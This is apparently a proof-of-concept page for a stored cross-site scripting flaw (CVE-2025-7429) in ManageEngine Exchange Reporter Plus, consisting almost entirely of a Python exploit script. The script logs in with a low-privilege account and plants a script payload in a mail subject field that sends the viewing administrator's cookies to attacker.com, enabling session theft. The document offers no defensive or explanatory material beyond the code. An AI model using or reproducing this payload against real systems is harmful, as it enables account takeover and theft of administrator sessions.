CVE-2025-7429 ManageEngine Exchange Reporter Plus 存储型XSS漏洞

import requests import json # CVE-2025-7429 PoC - Stored XSS in ManageEngine Exchange Reporter Plus # Target: ManageEngine Exchange Reporter Plus <= 5723 target_url = "http://target:8080" login_url = f"{target_url}/api/v1/auth/login" report_url = f"{target_url}/api/v1/reports/mails-deleted-moved" # Malicious XSS payload xss_payload = "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" session = requests.Session() # Step 1: Login with low-privilege account login_data = { "username": "low_priv_user", "password": "password123" } response = session.post(login_url, json=login_data) if response.status_code == 200: # Step 2: Submit mail operation with XSS payload mail_data = { "mailId": "12345", "operation": "delete", "subject": xss_payload, "from": "[email protected]" } submit_response = session.post(report_url, json=mail_data) # Step 3: When admin views the report, XSS will be triggered report_response = session.get(report_url) print(f"Report accessed, XSS payload stored successfully") else: print(f"Authentication failed")